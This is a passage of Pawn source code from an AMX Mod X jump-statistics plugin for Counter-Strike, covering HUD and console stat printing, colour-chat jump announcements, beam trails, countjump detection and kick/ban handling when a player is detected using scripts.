								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf);//stata duckov
							}
							
							//failstats
							if(jump_type[id]==Type_Multi_Bhop  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump)  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif );
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf);  //stata streifof fail
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf); //stata duckov fail
							}
						}
					}
*/


					//console prints
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							copy(strMessBuf,strLen,strMess);
							if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Multi_Bhop )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT2", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] ,bhop_num[id]);
							
							}
							else if(jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT3", type, distance[id], maxspeed[id], gain[id], prest1[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
							}
							else if(jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump)
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							
							if(jump_type[id]!=Type_None)
							{
								static strMessHalf[40];
								for(jj=INFO_ONE; (jj <= strafe_num[id]) && (jj < NSTRAFES);jj++)
								{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT7", strMessHalf);
								}
							}
							
							if(jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{
								client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT12", strafe_stat_speed[id][0][0]);
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								for(new ss=2;ss<=ducks[id];ss++)
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT9",ss-1,statsduckspeed[id][ss]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT11",prest[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT13",upheight[id]);
							}
							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT14",weapon_name);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT15");
								fps_hight[id]=false;
							}
							if(ladderbug[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT16");
								ladderbug[id]=false;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT17");
								find_ladder[id]=false;
							}
							if(touch_somthing[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT18");
							}
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
								}
								else if(land_bug )
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT19",jumpblock[id],edgedist[id],Landing);
								}
								else client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT20",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT22",edgedist[id]);	
							}
							if(find_script)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PROBSCRIPT");
								
							}
							if(trigger_protection[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CTRIGGERPROTECT");
								trigger_protection[id]=false;
							}
						}
					}
					
					if(wpn==29 || wpn==17 || wpn==16 || wpn==4 || wpn==9 || wpn==25)
					{
						formatex(weapon_name,20,"");
					}
					else
					{
						new tmp_str[21];
						
						formatex(tmp_str,20,"[");
						add(weapon_name, 20, "]");
						add(tmp_str, 20, weapon_name);
						formatex(weapon_name,20,tmp_str);
					}
					
					if(find_script)
					{
						new punishment[64];
						formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBLOCK");
						
						switch(uq_script_punishment)
						{
							case 1:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHKICK");
							}
							case 2:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBAN",uq_ban_minutes);
							}
						}
						
						if(jump_type[id]!=Type_None)
						{
							Log_script(FullJumpFrames[id],angles_arry[id],id,distance[id],maxspeed[id],prestrafe[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp),Jtype[id],weapon_name1,punishment,strMess);
					
							switch(uq_script_punishment)
							{
								case 1:
								{
									kick_function(id,Jtype[id]);										
								}
								case 2:
								{
									ban_function(id,Jtype[id]);
								}
							}
						}
					}
					
					
					new block_colorchat_dist;
					if(uq_block_chat_show)
					{
						block_colorchat_dist=god_dist;
						
						switch(uq_block_chat_min)
						{
							case 0:
								block_colorchat_dist=good_dist;
							case 1:
								block_colorchat_dist=pro_dist;
							case 2:
								block_colorchat_dist=holy_dist;
							case 3:
								block_colorchat_dist=leet_dist;
							case 4:
								block_colorchat_dist=god_dist;
						}
					}
					
					new block_str[20];
					
					if(jumpblock[id]>=block_colorchat_dist && uq_block_chat_show && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
					{
						formatex(block_str,19,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_BLOCK",jumpblock[id]);
					}
					else
					{
						formatex(block_str,19,"");
					}
					
					new iPlayers[32],iNum; 
					get_players( iPlayers, iNum,"ch") ;
					
					for(new i=0;i<=iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{	
							if( !failed_jump[id] )
							{
								if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_Double_CountJump
									|| (multiscj[id]!=2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]!=2 && jump_type[id]==Type_Drop_CountJump) || jump_type[id]==Type_CountJump
									|| jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_BhopLongJump || jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_WeirdLongJump
									|| jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],/*goodSyncTemp*100/(goodSyncTemp+badSyncTemp)*/sync_[id]);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
								if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id]==Type_Drop_CountJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
							}	
						}
					}
					
					// UberBeam start
					if( kz_beam[id]==true)
						{
						for( new i = 0; i < 100; i++ ) {
							if( gBeam_points[id][i][0] == 0.0
							&& gBeam_points[id][i][1] == 0.0
							&& gBeam_points[id][i][2] == 0.0 ) {
								continue;
							}
						
							message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
							write_byte ( TE_BEAMPOINTS );
							if( i == 100 ) {
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
								write_coord(floatround(land_origin[0]));
								write_coord(floatround(land_origin[1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							} else {
								if ( i > 2 ) {
									write_coord(floatround(gBeam_points[id][i-1][0]));
									write_coord(floatround(gBeam_points[id][i-1][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								} else {
									write_coord(floatround(jumpoff_origin[id][0]));
									write_coord(floatround(jumpoff_origin[id][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								}
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							}
							write_short(gBeam);
							write_byte(1);
							write_byte(5);
							write_byte(30);
							write_byte(20);
							write_byte(0);
							if(gBeam_duck[id][i])
							{
								write_byte(255);
								write_byte(0);
								write_byte(0);
							}
							else if(beam_type[id]==2 && gBeam_button[id][i])
							{
								if(gBeam_button_what[id][i]==1)
								{
									write_byte(0);
									write_byte(255);
									write_byte(0);
								}
								else if(gBeam_button_what[id][i]==2)
								{
									write_byte(0);
									write_byte(0);
									write_byte(255);
								}
							}
							else 
							{
								write_byte(255);
								write_byte(255);
								write_byte(0);
							}
							write_byte(200);
							write_byte(200);
							message_end();
						}
					}
					JumpReset(id,25);
				}
				
				new bool:posible_dropcj;
				if(button & IN_DUCK && !(oldbuttons &IN_DUCK) && (jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump))
				{
					new Float:tmpdropcj_start[3],Float:tmpdropcj_end[3],Float:tmpdropcj_frame[3];
					pev(id, pev_origin, origin);
					
					tmpdropcj_start=origin;
					tmpdropcj_start[2]=tmpdropcj_start[2]-36.0;
					
					tmpdropcj_end=tmpdropcj_start;
					tmpdropcj_end[2]=tmpdropcj_end[2]-20;
					
					engfunc(EngFunc_TraceLine,origin,tmpdropcj_end, IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, tmpdropcj_frame);
					
					if(tmpdropcj_start[2]-tmpdropcj_frame[2]<=18.0)
					{
						posible_dropcj=true;
						in_duck[id]=false;
					}
					else posible_dropcj=false;
				}
				
				if(!in_air[id] && button & IN_DUCK && !(oldbuttons &IN_DUCK) && (flags & FL_ONGROUND || posible_dropcj) && !in_duck[id] && UpcjFail[id]==false)
				{	
					if( get_gametime( ) - duckoff_time[id] < 0.3 )
					{
						started_multicj_pre[id] = true;
						prest[id]= speed[id]; 
						ducks[id]++;
						statsduckspeed[id][ducks[id]]=speed[id];
						new Float:tmporg_z;
						if(is_user_ducking(id))
						{
							tmporg_z=origin[2]+18.0;
						}
						else tmporg_z=origin[2];
						
						if(tmporg_z-first_duck_z[id]>4.0)
						{
							JumpReset(id,654);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							dropupcj[id]=true;
							
							return FMRES_IGNORED;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					else
					{
						pev(id, pev_origin, origin);
						
						ducks[id]=0;
						prest1[id]= speed[id]; //ground pre
						ducks[id]++;//schetchik duckov
						duckstartz[id]=origin[2];
						statsduckspeed[id][ducks[id]]=speed[id];//dlya vivoda stati po ducka
						
						started_cj_pre[id] = true;
						nextbhop[id]=false;
						bhopaem[id]=false;
						if(first_duck_z[id] && (origin[2]-first_duck_z[id])>4)
						{
							dropupcj[id]=true;
							
							JumpReset(id,655);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							return FMRES_IGNORED;
						}
						if(ducks[id]==1) 
						{
							if(is_user_ducking(id))
							{
								first_duck_z[id]=origin[2]+18.0;
							}
							else first_duck_z[id]=origin[2];
						}
						if(dropupcj[id]==false && get_gametime()-FallTime[id]<0.3 && (in_ladder[id] || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || dropbhop[id]))
						{
							in_ladder[id]=false;
							jump_type[id] = Type_Drop_CountJump;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRCJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRCJ");
							multidropcj[id]=0;
							dropaem[id]=true;
							
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					
					in_duck[id] = true;
				}
				else if( !in_air[id] && oldbuttons & IN_DUCK && (flags & FL_ONGROUND || posible_dropcj) && UpcjFail[id]==false)
				{
					if( !is_user_ducking( id ) )
					{	
						in_duck[id] = false;
						if( started_cj_pre[id] )
						{
							started_cj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
						
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_CountJump;
								jump_typeOld[id]=1;			
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
									
									CjafterJump[id]=1;
			
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
								
							}
							else 
							{
								FallTime[id]=get_gametime();
								multidropcj[id]=0;
								jump_typeOld[id]=1;
							}
						}
						else if( started_multicj_pre[id] )
						{
							started_multicj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
							
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Double_CountJump;
								jump_typeOld[id]=2;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
									
									CjafterJump[id]=2;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=1;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=2;
							}
						}
						if(ducks[id]>2)
						{	
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Multi_CountJump; //detect mcj
								jump_typeOld[id]=3;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
									
									CjafterJump[id]=3;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=2;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=3;
							}	
						}
					}
				}
				
				
				if(flags&FL_ONGROUND && g_Jumped[id]==false && jofon[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					pev(id,pev_origin,new_origin);
					new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+200;
